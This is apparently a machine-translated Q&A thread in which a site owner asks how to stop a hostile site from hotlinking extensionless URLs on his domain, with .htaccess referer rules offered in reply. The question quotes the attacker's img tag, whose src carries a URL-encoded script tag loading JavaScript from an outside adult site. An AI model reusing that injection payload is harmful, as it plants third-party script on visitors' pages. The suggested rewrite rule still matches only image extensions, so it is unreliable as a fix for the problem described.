2016-03-23 8 views
3

Eine bösartige Website verwendet img-Tag, um Redirect-Skript in meiner Website einzufügen. Ich habe die Umleitung using strip_tags() verhindert, aber die Website verbraucht alle meine Bandbreite. Der Code nutzt er ist:Redirect Hotliner ohne Erweiterungen zur übergeordneten Website mit .htaccess

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img> 

ich diesen Code hinzuzufügen versucht, das img hotlink zu verhindern, aber es did't Arbeit, da es keine Erweiterungen im img Link lautet:

RewriteEngine On 
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC] 
RewriteCond %{HTTP_REFERER} !^$ 
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L] 

I möchte alle Websites mit meiner Domain in img-Tags umleiten <img src="http://mywebsite.com/ANYTHING-HERE"/> to mywebsite.com

Wie mache ich es mit .htaccess?

Antwort

1

Sie brauchen nur eine Bedingung die Referer an einem anderen Ort umzuleiten:

Versuchen:

RewriteEngine On 
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC] 
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R] 
+0

kann ich umleiten, anstatt mywebsite.com von 'http://i.imgur.com/ qX4w7.gif' auch mywebsite.com haben nicht ssl und www. Muss ich noch "https?: // (www \.) Hinzufügen? Mywebsite \ .com/[NC]' –

+1

@Maroof ** https? ** s ist optional im Muster, also entspricht es beiden ** http ** und ** https **. und ** (www \.)? ** bedeutet ** www ** ist optional. Ja, Sie können die Ziel-URL anstelle der URL in ** http: //example.com/** ändern – starkeen